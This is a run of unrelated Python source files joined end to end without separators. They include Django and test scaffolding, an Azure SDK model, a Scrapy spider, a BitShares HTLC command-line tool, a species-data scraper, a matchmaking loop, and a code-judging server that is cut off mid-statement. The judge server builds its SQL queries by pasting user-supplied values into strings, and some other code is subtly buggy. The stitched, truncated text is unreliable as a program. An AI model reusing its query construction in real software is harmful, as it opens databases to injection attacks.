import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "bikes_prediction.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
import codecs, logging, os, util from tokenizer import Tokenizer from tokenparser import Parser from api import Document def setup_logging(): logger=logging.getLogger("W2L") logger.setLevel(logging.DEBUG) console_formatter = logging.Formatter("%(asctime)s - %(levelname)s" ": %(message)s", datefmt="%I:%M:%S %p") consolehandler = logging.StreamHandler() consolehandler.setFormatter(console_formatter) logger.addHandler(consolehandler) return logger if __name__ == "__main__": logger = setup_logging() doc = Document() doc.organize() if not os.path.exists(os.curdir + '/raw'): logger.debug("Getting raw text files.") doc.call() if not os.path.exists(os.curdir + '/text'): logger.debug("Parsing JSON to TXT.") doc.json_to_text() # Open and read files tokenizer = Tokenizer() progress = util.ProgressChecker() parser = Parser(progress) if not os.path.exists(os.curdir + '/latex'): os.mkdir(os.curdir + '/latex') if not os.path.exists(os.curdir + '/latex'): os.mkdir(os.curdir + '/latex') #folders = sorted(os.listdir(path=(os.curdir + '/text')), key=int) folders = ['0', '1', '2', '3'] for folder in folders: files = sorted(os.listdir(path=(os.curdir + '/text/' + folder)), key=lambda x: int(x[0])) if folder == '3': files = ['0.txt', '1.txt'] with codecs.open(os.curdir + '/latex/' + folder + '.tex', 'w+', 'utf-8') as outputfile: last_open = os.curdir + '/latex/' + folder + '.tex' for file in files: logger.debug("Parsing " + folder + "/" + file + " to " + folder + ".tex.") with codecs.open(os.curdir + '/text/' + folder + '/' + file, 'r', 'utf-8') as f: data = f.read() token_list = tokenizer.analyze(data) parser.begin(outputfile) parser.dispatch(token_list) print("Total number of pages included in main pages: " + str(doc.num_pages)) progress.get_statistics() logger.debug("Parsing complete.")
"""Testing for ORM""" from unittest import TestCase import nose from nose.tools import eq_ from sets import Set from mdcorpus.orm import * class ORMTestCase(TestCase): def setUp(self): self.store = Store(create_database("sqlite:")) self.store.execute(MovieTitlesMetadata.CREATE_SQL) self.store.execute(MovieCharactersMetadata.CREATE_SQL) self.store.execute(RawScriptUrl.CREATE_SQL) self.store.execute(MovieConversation.CREATE_SQL) self.store.execute(MovieLine.CREATE_SQL) movie = self.store.add(MovieTitlesMetadata(0, u"10 things i hate about you", 1999, 6.90, 62847)) bianca = self.store.add(MovieCharactersMetadata(0, "BIANCA", "f", 4)) bruce = self.store.add(MovieCharactersMetadata(1, "BRUCE", "?", "?")) cameron = self.store.add(MovieCharactersMetadata(2, "CAMERON", "m", "3")) url = self.store.add(RawScriptUrl("http://www.dailyscript.com/scripts/10Things.html")) conversation = self.store.add(MovieConversation(0, 2, 0)) line194 = self.store.add(MovieLine( 194, "Can we make this quick? Roxanne Korrine and Andrew Barrett are having an incredibly horrendous public break- up on the quad. Again.")) line195 = self.store.add(MovieLine( 195, "Well, I thought we'd start with pronunciation, if that's okay with you.")) line196 = self.store.add(MovieLine( 196, "Not the hacking and gagging and spitting part. Please.")) line197 = self.store.add(MovieLine( 197, "Okay... then how 'bout we try out some French cuisine. Saturday? Night?")) self.store.flush() movie.characters.add(bianca) movie.characters.add(bruce) movie.characters.add(cameron) url.movie = movie line_id_list = [194, 195, 196, 197] for (i, line_id) in enumerate(line_id_list): line = self.store.find(MovieLine, MovieLine.id == line_id).one() line.number = i + 1 conversation.lines.add(line) self.store.commit() def tearDown(self): print "done" class MovieTitlesMetadataTestCase(ORMTestCase): @nose.with_setup(ORMTestCase.setUp, ORMTestCase.tearDown) def test_url(self): movie = self.store.find(MovieTitlesMetadata, MovieTitlesMetadata.id == 0).one() eq_(movie.url(), "http://www.dailyscript.com/scripts/10Things.html") class MovieCharactersMetadataTestCase(ORMTestCase): @nose.with_setup(ORMTestCase.setUp, ORMTestCase.tearDown) def test_gender(self): bianca = self.store.find(MovieCharactersMetadata, MovieCharactersMetadata.id == 0).one() bruce = self.store.find(MovieCharactersMetadata, MovieCharactersMetadata.id == 1).one() cameron = self.store.find(MovieCharactersMetadata, MovieCharactersMetadata.id == 2).one() eq_(bianca.gender(), "f") eq_(bruce.gender(), "?") eq_(cameron.gender(), "m") class MovieConversationTestCase(ORMTestCase): @nose.with_setup(ORMTestCase.setUp, ORMTestCase.tearDown) def test_consistency(self): conversation = self.store.find(MovieConversation, MovieConversation.id == 1).one() eq_(conversation.first_character.movie.title, conversation.movie.title) eq_(conversation.second_character.movie.title, conversation.movie.title) @nose.with_setup(ORMTestCase.setUp, ORMTestCase.tearDown) def test_line_list(self): conversation = self.store.find(MovieConversation, MovieConversation.id == 1).one() line_ids = [line.id for line in conversation.line_list()] eq_(line_ids, [194, 195, 196, 197])
from ddt import ddt, data from django.test import TestCase from six.moves import mock from waldur_core.core import utils from waldur_core.structure import tasks from waldur_core.structure.tests import factories, models class TestDetectVMCoordinatesTask(TestCase): @mock.patch('requests.get') def test_task_sets_coordinates(self, mock_request_get): ip_address = "127.0.0.1" expected_latitude = 20 expected_longitude = 20 instance = factories.TestNewInstanceFactory() mock_request_get.return_value.ok = True response = {"ip": ip_address, "latitude": expected_latitude, "longitude": expected_longitude} mock_request_get.return_value.json.return_value = response tasks.detect_vm_coordinates(utils.serialize_instance(instance)) instance.refresh_from_db() self.assertEqual(instance.latitude, expected_latitude) self.assertEqual(instance.longitude, expected_longitude) @mock.patch('requests.get') def test_task_does_not_set_coordinates_if_response_is_not_ok(self, mock_request_get): instance = factories.TestNewInstanceFactory() mock_request_get.return_value.ok = False tasks.detect_vm_coordinates(utils.serialize_instance(instance)) instance.refresh_from_db() self.assertIsNone(instance.latitude) self.assertIsNone(instance.longitude) @ddt class ThrottleProvisionTaskTest(TestCase): @data( dict(size=tasks.ThrottleProvisionTask.DEFAULT_LIMIT + 1, retried=True), dict(size=tasks.ThrottleProvisionTask.DEFAULT_LIMIT - 1, retried=False), ) def test_if_limit_is_reached_provisioning_is_delayed(self, params): link = factories.TestServiceProjectLinkFactory() factories.TestNewInstanceFactory.create_batch( size=params['size'], state=models.TestNewInstance.States.CREATING, service_project_link=link) vm = factories.TestNewInstanceFactory( state=models.TestNewInstance.States.CREATION_SCHEDULED, service_project_link=link) serialized_vm = utils.serialize_instance(vm) mocked_retry = mock.Mock() tasks.ThrottleProvisionTask.retry = mocked_retry tasks.ThrottleProvisionTask().si( serialized_vm, 'create', state_transition='begin_starting').apply() self.assertEqual(mocked_retry.called, params['retried'])
""" Make a grid of synths for a set of attenuations. 2015-04-30 - Created by Jonathan Sick """ import argparse import numpy as np from starfisher.pipeline import PipelineBase from androcmd.planes import BasicPhatPlanes from androcmd.phatpipeline import ( SolarZIsocs, SolarLockfile, PhatGaussianDust, PhatCrowding) from androcmd.phatpipeline import PhatCatalog def main(): args = parse_args() av_grid = np.arange(0., args.max_av, args.delta_av) if args.av is not None: av = float(args.av) run_pipeline(brick=args.brick, av=av, run_fit=args.fit) else: for av in av_grid: run_pipeline(brick=args.brick, av=av, run_fit=args.fit) def parse_args(): parser = argparse.ArgumentParser( description="Grid of synths for a set of Av") parser.add_argument('brick', type=int) parser.add_argument('--max-av', type=float, default=1.5) parser.add_argument('--delta-av', type=float, default=0.1) parser.add_argument('--fit', action='store_true', default=False) parser.add_argument('--av', default=None) return parser.parse_args() def run_pipeline(brick=23, av=0., run_fit=False): dataset = PhatCatalog(brick) pipeline = Pipeline(root_dir="b{0:d}_{1:.2f}".format(brick, av), young_av=av, old_av=av, av_sigma_ratio=0.25, isoc_args=dict(isoc_kind='parsec_CAF09_v1.2S', photsys_version='yang')) print(pipeline) print('av {0:.1f} done'.format(av)) if run_fit: pipeline.fit('f475w_f160w', ['f475w_f160w'], dataset) pipeline.fit('rgb', ['f475w_f814w_rgb'], dataset) pipeline.fit('ms', ['f475w_f814w_ms'], dataset) class Pipeline(BasicPhatPlanes, SolarZIsocs, SolarLockfile, PhatGaussianDust, PhatCrowding, PipelineBase): """A pipeline for fitting PHAT bricks with solar metallicity isochrones.""" def __init__(self, **kwargs): super(Pipeline, self).__init__(**kwargs) if __name__ == '__main__': main()
from .sub_resource import SubResource class ApplicationGatewayHttpListener(SubResource): """Http listener of an application gateway. :param id: Resource ID. :type id: str :param frontend_ip_configuration: Frontend IP configuration resource of an application gateway. :type frontend_ip_configuration: ~azure.mgmt.network.v2017_09_01.models.SubResource :param frontend_port: Frontend port resource of an application gateway. :type frontend_port: ~azure.mgmt.network.v2017_09_01.models.SubResource :param protocol: Protocol. Possible values include: 'Http', 'Https' :type protocol: str or ~azure.mgmt.network.v2017_09_01.models.ApplicationGatewayProtocol :param host_name: Host name of HTTP listener. :type host_name: str :param ssl_certificate: SSL certificate resource of an application gateway. :type ssl_certificate: ~azure.mgmt.network.v2017_09_01.models.SubResource :param require_server_name_indication: Applicable only if protocol is https. Enables SNI for multi-hosting. :type require_server_name_indication: bool :param provisioning_state: Provisioning state of the HTTP listener resource. Possible values are: 'Updating', 'Deleting', and 'Failed'. :type provisioning_state: str :param name: Name of the resource that is unique within a resource group. This name can be used to access the resource. :type name: str :param etag: A unique read-only string that changes whenever the resource is updated. :type etag: str :param type: Type of the resource. :type type: str """ _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'frontend_ip_configuration': {'key': 'properties.frontendIPConfiguration', 'type': 'SubResource'}, 'frontend_port': {'key': 'properties.frontendPort', 'type': 'SubResource'}, 'protocol': {'key': 'properties.protocol', 'type': 'str'}, 'host_name': {'key': 'properties.hostName', 'type': 'str'}, 'ssl_certificate': {'key': 'properties.sslCertificate', 'type': 'SubResource'}, 'require_server_name_indication': {'key': 'properties.requireServerNameIndication', 'type': 'bool'}, 'provisioning_state': {'key': 'properties.provisioningState', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'etag': {'key': 'etag', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, } def __init__(self, *, id: str=None, frontend_ip_configuration=None, frontend_port=None, protocol=None, host_name: str=None, ssl_certificate=None, require_server_name_indication: bool=None, provisioning_state: str=None, name: str=None, etag: str=None, type: str=None, **kwargs) -> None: super(ApplicationGatewayHttpListener, self).__init__(id=id, **kwargs) self.frontend_ip_configuration = frontend_ip_configuration self.frontend_port = frontend_port self.protocol = protocol self.host_name = host_name self.ssl_certificate = ssl_certificate self.require_server_name_indication = require_server_name_indication self.provisioning_state = provisioning_state self.name = name self.etag = etag self.type = type
""" @file @brief Customer notebook exporters. """ import os from textwrap import indent from traitlets import default from traitlets.config import Config from jinja2 import DictLoader from nbconvert.exporters import RSTExporter from nbconvert.filters.pandoc import convert_pandoc def convert_pandoc_rst(source, from_format, to_format, extra_args=None): """ Overwrites `convert_pandoc <https://github.com/jupyter/nbconvert/blob/master/nbconvert/filters/pandoc.py>`_. @param source string to convert @param from_format from format @param to_format to format @param extra_args extra arguments @return results """ return convert_pandoc(source, from_format, to_format, extra_args=None) def process_raw_html(source, extra_args=None): """ Replaces the output of `add_menu_notebook <http://www.xavierdupre.fr/app/jyquickhelper/helpsphinx/jyquickhelper/ helper_in_notebook.html#jyquickhelper.helper_in_notebook.add_notebook_menu>`_ by: :: .. contents:: :local: """ if source is None: return source # pragma: no cover if 'var update_menu = function() {' in source: return "\n\n.. contents::\n :local:\n\n" return "\n\n.. raw:: html\n\n" + indent(source, prefix=' ') class UpgradedRSTExporter(RSTExporter): """ Exports :epkg:`rst` documents. Overwrites `RSTExporter <https://github.com/jupyter/ nbconvert/blob/master/nbconvert/exporters/rst.py>`_. * It replaces `convert_pandoc <https://github.com/jupyter/ nbconvert/blob/master/nbconvert/filters/pandoc.py>`_ by @see fn convert_pandoc_rst. * It converts :epkg:`svg` into :epkg:`png` if possible, see @see fn process_raw_html. * It replaces some known :epkg:`javascript`. The output of function `add_menu_notebook <http://www.xavierdupre.fr/app/jyquickhelper/helpsphinx/jyquickhelper/ helper_in_notebook.html#jyquickhelper.helper_in_notebook.add_notebook_menu>`_ is replaced by ``.. contents::``. .. index:: notebook export, nbconvert It extends the template `rst.tpl <https://github.com/jupyter/nbconvert/blob/master/nbconvert/templates/rst.tpl>`_. New template is `rst_modified.tpl <https://github.com/sdpython/pyquickhelper/blob/master/ src/pyquickhelper/helpgen/rst_modified.tpl>`_. It follows the hints given at `Programatically creating templates <https://nbconvert.readthedocs.io/en/latest/ nbconvert_library.html#Programatically-creating-templates>`_. :epkg:`jyquickhelper` should add a string highly recognizable when adding a menu. """ def __init__(self, *args, **kwargs): """ Overwrites the extra loaders to get the right template. """ filename = os.path.join(os.path.dirname(__file__), 'rst_modified.tpl') with open(filename, 'r', encoding='utf-8') as f: content = f.read() filename = os.path.join(os.path.dirname(__file__), 'rst.tpl') with open(filename, 'r', encoding='utf-8') as f: content2 = f.read() dl = DictLoader({'rst_modified.tpl': content, 'rst.tpl': content2}) kwargs['extra_loaders'] = [dl] RSTExporter.__init__(self, *args, **kwargs) def default_filters(self): """ Overrides in subclasses to provide extra filters. This should return an iterable of 2-tuples: (name, class-or-function). You should call the method on the parent class and include the filters it provides. If a name is repeated, the last filter provided wins. Filters from user-supplied config win over filters provided by classes. """ for k, v in RSTExporter.default_filters(self): yield (k, v) yield ('convert_pandoc_rst', convert_pandoc_rst) yield ('process_raw_html', process_raw_html) output_mimetype = 'text/restructuredtext' export_from_notebook = "reST" @default('template_file') def _template_file_default(self): return "rst_modified.tpl" @default('file_extension') def _file_extension_default(self): return '.rst' @default('template_name') def _template_name_default(self): return 'rst' @property def default_config(self): c = Config({ 'ExtractOutputPreprocessor': { 'enabled': True, 'output_filename_template': '{unique_key}_{cell_index}_{index}{extension}' }, 'HighlightMagicsPreprocessor': { 'enabled': True }, }) c.merge(super(UpgradedRSTExporter, self).default_config) return c
import scrapy from locations.items import GeojsonPointItem DAYS = [ 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su' ] class SparNoSpider(scrapy.Spider): name = "spar_no" allowed_domains = ["spar.no"] start_urls = ( 'https://spar.no/Finn-butikk/', ) def parse(self, response): shops = response.xpath('//div[@id="js_subnav"]//li[@class="level-1"]/a/@href') for shop in shops: yield scrapy.Request( response.urljoin(shop.extract()), callback=self.parse_shop ) def parse_shop(self, response): props = {} ref = response.xpath('//h1[@itemprop="name"]/text()').extract_first() if ref: # some links redirects back to list page props['ref'] = ref.strip("\n").strip() else: return days = response.xpath('//div[@itemprop="openingHoursSpecification"]') if days: for day in days: day_list = day.xpath('.//link[@itemprop="dayOfWeek"]/@href').extract() first = 0 last = 0 for d in day_list: st = d.replace('https://purl.org/goodrelations/v1#', '')[:2] first = DAYS.index(st) if first>DAYS.index(st) else first last = DAYS.index(st) if first>DAYS.index(st) else first props['opening_hours'] = DAYS[first]+'-'+DAYS[last]+' '+day.xpath('.//meta[@itemprop="opens"]/@content').extract_first()+' '+day.xpath('.//meta[@itemprop="closes"]/@content').extract_first() phone = response.xpath('//a[@itemprop="telephone"]/text()').extract_first() if phone: props['phone'] = phone addr_full = response.xpath('//div[@itemprop="streetAddress"]/text()').extract_first() if addr_full: props['addr_full'] = addr_full postcode = response.xpath('//span[@itemprop="postalCode"]/text()').extract_first() if postcode: props['postcode'] = postcode city = response.xpath('//span[@itemprop="addressLocality"]/text()').extract_first() if city: props['city'] = city.strip() props['country'] = 'NO' lat = response.xpath('//meta[@itemprop="latitude"]/@content').extract_first() lon = response.xpath('//meta[@itemprop="longitude"]/@content').extract_first() if lat and lon: props['lat'] = float(lat) props['lon'] = float(lon) props['website'] = response.url yield GeojsonPointItem(**props)
""" Controller for voting related requests. """ import webapp2 from models.vote import VoteHandler from models.vote_.cast_ballot import BallotHandler from models.vote_.view_results import ResultsHandler app = webapp2.WSGIApplication([ ('/vote', VoteHandler), ('/vote/cast-ballot', BallotHandler), ('/vote/view-results', ResultsHandler) ], debug=True)
from galaxy.test.base.twilltestcase import TwillTestCase class EncodeTests(TwillTestCase): def test_00_first(self): # will run first due to its name """3B_GetEncodeData: Clearing history""" self.clear_history() def test_10_Encode_Data(self): """3B_GetEncodeData: Getting encode data""" self.run_tool('encode_import_chromatin_and_chromosomes1', hg17=['cc.EarlyRepSeg.20051216.bed'] ) self.wait() self.check_data('cc.EarlyRepSeg.20051216.bed', hid=1)
import click from bitshares.amount import Amount from .decorators import online, unlock from .main import main, config from .ui import print_tx @main.group() def htlc(): pass @htlc.command() @click.argument("to") @click.argument("amount") @click.argument("symbol") @click.option( "--type", type=click.Choice(["ripemd160", "sha1", "sha256", "hash160"]), default="sha256", prompt="Hash algorithm", show_default=True, help="Hash algorithm" ) @click.option( "--hash", prompt="Hash (hex string)", hide_input=False, confirmation_prompt=True, help="Hash value as string of hex digits" ) @click.option( "--expiration", default=60 * 60, prompt="Expiration (seconds)", help="Duration of HTLC in seconds" ) @click.option( "--length", help="Length of PREIMAGE (not of hash). Generally OK " + "to leave this as 0 for unconstrained.", default=0, show_default=True ) @click.option("--account") @click.pass_context @online @unlock def create(ctx, to, amount, symbol, type, hash, expiration, length, account): """ Create an HTLC contract from a hash and lock-time """ ctx.blockchain.blocking = True tx = ctx.blockchain.htlc_create( Amount(amount, symbol), to, hash_type=type, hash_hex=hash, expiration=expiration, account=account, preimage_length=length ) tx.pop("trx", None) print_tx(tx) results = tx.get("operation_results", {}) if results: htlc_id = results[0][1] print("Your htlc_id is: {}".format(htlc_id)) @htlc.command() @click.argument("to") @click.argument("amount") @click.argument("symbol") @click.option( "--type", type=click.Choice(["ripemd160", "sha1", "sha256", "hash160"]), default="sha256", prompt="Hash algorithm", show_default=True, help="Hash algorithm" ) @click.option( "--secret", prompt="Redeem Password", hide_input=True, confirmation_prompt=True, help="Ascii-text preimage" ) @click.option("--expiration", default=60 * 60, prompt="Expiration (seconds)", help="Duration of HTLC in seconds" ) @click.option( "--length", help="Length of PREIMAGE (not of hash). Generally OK " + "to leave this as 0 for unrestricted. If non-zero, must match length " + "of provided preimage", default=0, show_default=True ) @click.option("--account") @click.pass_context @online @unlock def create_from_secret(ctx, to, amount, symbol, type, secret, expiration, length, account): """Create an HTLC contract from a secret preimage If you are the party choosing the preimage, this version of htlc_create will compute the hash for you from the supplied preimage, and create the HTLC with the resulting hash. """ if length != 0 and length != len(secret): raise ValueError("Length must be zero or agree with actual preimage length") ctx.blockchain.blocking = True tx = ctx.blockchain.htlc_create( Amount(amount, symbol), to, preimage=secret, preimage_length=length, hash_type=type, expiration=expiration, account=account, ) tx.pop("trx", None) print_tx(tx) results = tx.get("operation_results", {}) if results: htlc_id = results[0][1] print("Your htlc_id is: {}".format(htlc_id)) @htlc.command() @click.argument("htlc_id") @click.option( "--secret", prompt="Redeem Password", hide_input=False, confirmation_prompt=False, type=str, help="The preimage, as ascii-text, unless --hex is passed" ) @click.option( "--hex", is_flag=True, help="Interpret preimage as hex-encoded bytes" ) @click.option("--account") @click.pass_context @online @unlock def redeem(ctx, htlc_id, secret, hex, account): """ Redeem an HTLC contract by providing preimage """ encoding = "hex" if hex else "utf-8" print_tx(ctx.blockchain.htlc_redeem(htlc_id, secret, encoding=encoding, account=account) )
import os.path import requests import time from bs4 import BeautifulSoup from geotext import GeoText as gt from string import punctuation from collections import Counter import re import sys reload(sys) sys.setdefaultencoding("utf-8") threats = ['loss', 'fragmentation', 'hunting', 'poaching', 'fishing', 'overfishing', 'environmental', 'environment', 'invasive', 'disease', 'pet', 'pollution'] conservation = ['cites', 'protection law', 'captive breeding', 'protected', 'endangered species act', 'wwf', 'wcs'] conservationString = '' threatString = '' def findConservation(string): consFound = [] string = string.lower() string = string.replace("<p>", "") global conservation for word in conservation: if word in string: consFound.append(word) return consFound def findThreats(string): threatsFound = [] string = string.lower() string = string.replace("<p>", "") global threats for word in threats: if word in string: threatsFound.append(word) index = string.index(word) return threatsFound def parseThrough(string): string = string.replace(',','') s = '<p>' if s in string: string = string.split(s)[1] s = '</p>' if s in string: string = string.split(s)[0] return string def urlNeeded(): global threats global conservationString global threatString allThreats = [] global conservation allCons = [] f = open('output.txt', "w") f.write('Scientific Name, Nickname, Common Name, Kingdom, Phylum, Class, Order, Family, Genus, Size, Threats, Conservation, Threat Keywords, Conservation Keywords, status, countries, country_count' + '\n') with open('test.txt', "rb") as fd: for line in fd: line = line.lstrip().rstrip() url = line r = requests.get(url) soup = BeautifulSoup(r.text.encode('utf-8'), 'html.parser') newName = soup.find('td').text newName = newName.lstrip().rstrip() newName = str(newName) newName = newName.replace(',',';') f.write(newName + ',') for t in soup.findAll('h1'): name = t.text s = '(' if s in name: commonName = name.split(s)[0] scienceName = name.split(s)[1] scienceName = scienceName.replace(')','') f.write(scienceName + ',') print scienceName f.write(name + ',') soupsup = soup.findAll('td', align="left") for node in soupsup: waant = ''.join(node.findAll(text=True)) waant = str(waant) waant = waant.replace('\n', '') f.write(waant + ',') if "(" in node: break items = [] for t in soup.findAll('td'): items.append(t.text) check = 9 badge = len(items) if badge > 6: f.write(items[badge - 1] + ',') else: f.write(',') badges = soup.findAll("p", class_="Threats") ofInterest = str(badges) foundThreats = findThreats(ofInterest) ofInterest = parseThrough(ofInterest) threatString = threatString + ofInterest if ofInterest: f.write(ofInterest) f.write(',') else: f.write(' ,') badges = soup.findAll("p", class_="Conservation") ofInterest = str(badges) foundCons = findConservation(ofInterest) ofInterest = parseThrough(ofInterest) conservationString = conservationString + ofInterest badges = soup.findAll("p", class_="Range") badges = str(badges) countries = gt(badges).country_mentions countries = str(countries) #countries = re.sub('[^A-Z]', '', s) countries = countries.replace(',', '') cCount = sum(c.isdigit() for c in countries) cCount = str(cCount) print cCount status = soup.findAll("p", class_="Status") status = str(status) if 'Critically' in status: status = 'Critically Endangered' else: status = 'Endangered' if ofInterest: f.write(ofInterest) f.write(' ,' + '') else: f.write(' ,') for node in foundThreats: f.write(node) f.write(';') f.write(' ,') for node in foundCons: f.write(node) f.write(';') f.write(' ,') f.write(status) f.write(',') f.write(countries) f.write(',') f.write(cCount) f.write('\n') fd.close() f.close() def main(): urlNeeded() main()
from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('stats', '0001_initial'), ] operations = [ migrations.CreateModel( name='Dispensed', fields=[ ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')), ('total_approved', models.IntegerField(help_text='Number of projects approved in any instance.')), ('total_dispensed', models.IntegerField(help_text='Number of projects that did not go to 2nd round of votes.')), ('dispensed_by_plenary', models.IntegerField(help_text='Those projects dispensed due to `acuerdo del pleno`.')), ('dispensed_by_spokesmen', models.IntegerField(help_text='Those projects dispensed due to `junta de portavoces`.')), ('dispensed_others', models.IntegerField(help_text='All other projects dispensed, and those with no specific reason.')), ], options={ }, bases=(models.Model,), ), ]
MAX_LOOPS = 10 MAX_WAIT = 10 import Queue,time,random def mmThread(inputQueue,exitQueue,outputQueue): #Lists for all difficulties noviceList = [] apprenticeList = [] adeptList = [] expertList = [] #put them in one list playerList = [noviceList,apprenticeList,adeptList,expertList] #This list contains the players that have waited for too long in their Queue needRematch = [] while True: loopCounter = 0 #Check for exit signal try: exit = exitQueue.get(False) if exit: break except: pass #loop over new entries at most MAX_LOOPS times then do it again while loopCounter < MAX_LOOPS: try: #Get new player and add him to a list according to his rank newPlayer = inputQueue.get(False) playerRank = newPlayer.get('rank') listIndex = playerRank // 3 newPlayer['entryTime'] = time.time() playerList[listIndex].append(newPlayer) print 'MMTHREAD : Got user ' print 'MMTHREAD: USER RANK IS %d ' % playerRank except Queue.Empty: break loopCounter += 1 #First check for players in the rematch Queue for player in needRematch[:]: position = player.get('rank') // 3 foundMatch = False #Check for empty list if len(playerList[position]) == 0 or playerList[position][0] != player: continue #Check for enemy player one list above this player if position + 1 < len(playerList) and len(playerList[position+1]) >= 1: foundMatch = True firstPlayer = playerList[position].pop(0) secondPlayer = playerList[position+1].pop(0) needRematch.remove(player) elif (position - 1 >= 0) and len(playerList[position-1]) >= 1: #Else check for enemy player one list below this player foundMatch = True firstPlayer = playerList[position].pop(0) secondPlayer = playerList[position-1].pop(0) needRematch.remove(player) #Add player tokens to Queue for game play thread if foundMatch: bothPlayers = [firstPlayer,secondPlayer] data = {'turn':0,'players':bothPlayers} print'Add new Player token' outputQueue.put(data) #Match players in same list for category in playerList: while True: try: #Try to pop two players from the list #If successfull, put their token into game play thread Queue firstPlayer = None secondPlayer = None firstPlayer = category.pop(0) secondPlayer = category.pop(0) bothPlayers = [firstPlayer,secondPlayer] turn = random.randint(0,1) data = {'turn':turn,'players':bothPlayers} print'Add new Player token' outputQueue.put(data) except: #Else if only one player is found , but him back if secondPlayer == None and firstPlayer != None: category.insert(0,firstPlayer) break #Check for players that didnt find a match for a long time and alert thread for i in range(0,3): if len(playerList[i]) > 0: if time.time() - playerList[i][0].get('entryTime') >= MAX_WAIT: needRematch.append(playerList[i][0]) print 'match making thread out'
from geventwebsocket.handler import WebSocketHandler from gevent import pywsgi, sleep import json import MySQLdb class JPC: # # 初期化 # def __init__(self, filepath_config): import hashlib # 設定ファイルをロード fp = open(filepath_config, 'r') config = json.load(fp) fp.close() # 設定をクラス変数に格納 self.host = config['host'] self.port = config['port'] self.langlist = json.load(open(config['langfile'], 'r')) self.enckey = hashlib.md5(config['key']).digest() self.db_host = config['db_host'] self.db_name = config['db_name'] self.db_username = config['db_username'] self.db_password = config['db_password'] return # # チェック # def execute(self): import codecs import commands import os import pwd # 情報を取得 code = self.packet['code'] lang = self.packet['lang'] script = self.langlist['compile'][lang] extension = self.langlist['extension'][lang] # 必要なデータを生成 filepath_in = self.randstr(8) + extension filepath_out = self.randstr(8) username = self.randstr(16) # /tmpに移動 os.chdir('/tmp/') # ユーザーを作成する try: os.system("useradd -M {0}".format(username)) pwnam = pwd.getpwnam(username) except Exception: return # コードを生成 fp = codecs.open(filepath_in, 'w', 'utf-8') fp.write(code) fp.close() # コンパイル compile_result = commands.getoutput( script.format(input=filepath_in, output=filepath_out) ) # コードを削除 try: os.remove(filepath_in) except Exception: pass # コンパイル結果を送信 try: self.ws.send(json.dumps({'compile': compile_result})) except Exception: pass # コンパイルできているか if not os.path.exists(filepath_out): print("[INFO] コンパイルに失敗しました。") return # 実行ファイルの権限を変更 try: os.chmod(filepath_out, 0500) os.chown(filepath_out, pwnam.pw_uid, pwnam.pw_gid) # 出力例も一応 os.chown(self.record['output_code'], pwnam.pw_uid, pwnam.pw_gid) except Exception: try: os.remove(filepath_out) os.system("userdel -r {0}".format(username)) except Exception: print("[ERROR] /tmp/{0}の削除に失敗しました。".format(filepath_out)) print("[ERROR] ユーザー{0}の削除に失敗しました。".format(username)) return # チェックする clear = True for n in range(int(self.record['exec_time'])): print("[INFO] {0}回目の試行が開始されました。".format(n + 1)) # 実行開始を宣言 try: self.ws.send(json.dumps({'attempt': n + 1})) except Exception: pass # 入力を生成 self.input_data = commands.getoutput( self.record['input_code'] + " " + str(n) ) # 出力を生成 self.output_data = self.run_command(username, self.record['output_code']) # 実行結果を取得 result = self.run_command(username, './'+filepath_out) #print "Input : ", self.input_data #print "Answer : ", self.output_data #print "Result : ", result # タイムアウト if result == False: self.ws.send(json.dumps({'failure': n + 1})) clear = False print("[INFO] タイムアウトしました。") continue # 結果が違う if self.output_data.rstrip('\n') != result.rstrip('\n'): self.ws.send(json.dumps({'failure': n + 1})) clear = False print("[INFO] 結果に誤りがあります。") continue # 実行結果を宣言 try: self.ws.send(json.dumps({'success': n + 1})) print("[INFO] チェックが成功しました。") except Exception: pass # 成功通知 if clear: self.ws.send('{"complete":"success"}') self.update_db() else: self.ws.send('{"complete":"failure"}') # 実行ファイルを削除 try: os.remove(filepath_out) os.system("userdel -r {0}".format(username)) except Exception: print("[ERROR] /tmp/{0}の削除に失敗しました。".format(filepath_out)) print("[ERROR] ユーザー{0}の削除に失敗しました。".format(username)) return # # コマンドを制限付きで実行 # def run_command(self, username, filepath): import subprocess import time import sys # プロセスを生成 proc = subprocess.Popen( [ 'su', username, '-c', 'ulimit -v {0}; {1}'.format( str(self.record['limit_memory']), filepath ) ], stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE, ) # 入力を送る proc.stdin.write(self.input_data.rstrip('\n') + '\n') proc.stdin.close() # 時間制限を設定 deadline = time.time() + float(self.record['limit_time']) / 1000.0 while time.time() < deadline and proc.poll() == None: time.sleep(0.20) # タイムアウト if proc.poll() == None: if float(sys.version[:3]) >= 2.6: proc.terminate() return False # 正常終了 stdout = proc.stdout.read() return stdout # # 点数を追加 # def update_db(self): import time cursor = self.db.cursor(MySQLdb.cursors.DictCursor) # スコアを追加 cursor.execute("UPDATE account SET score=score+{score} WHERE user='{user}';".format(score=int(self.record['score']), user=self.user)) # 解答済み問題を追加 cursor.execute("UPDATE account SET solved=concat('{id},', solved) WHERE user='{user}';".format(id=self.record['id'], user=self.user)) # 解答数をインクリメント cursor.execute("UPDATE problem SET solved=solved+1 WHERE id={id};".format(id=self.record['id'])) # 解答ユーザーを更新 cursor.execute("UPDATE problem SET solved_user='{user}' WHERE id={id};".format(user=self.user, id=self.record['id'])) # 解答時間を更新 cursor.execute("UPDATE problem SET last_date='{date}' WHERE id={id};".format(date=time.strftime('%Y-%m-%d %H:%M:%S'), id=self.record['id'])) cursor.close() self.db.commit() return # # 新規要求を処理 # def handle(self, env, response): self.ws = env['wsgi.websocket'] print("[INFO] 新しい要求を受信しました。") # 要求を取得 self.packet = self.ws.receive() if not self.analyse_packet(): return # 問題を取得 self.get_problem() # 実行 self.execute() return # # 問題の詳細を取得 # def get_problem(self): cursor = self.db.cursor(MySQLdb.cursors.DictCursor) cursor.execute("SELECT * FROM problem WHERE id={id};".format(id=self.packet['id'])) self.record = cursor.fetchall()[0] cursor.close() return # # データを解析 # def analyse_packet(self): from Crypto.Cipher import AES # パケットをJSONとして展開 try: self.packet = json.loads(self.packet) except Exception: print("[ERROR] JSONの展開に失敗しました。") return False # データの整合性を確認 if not 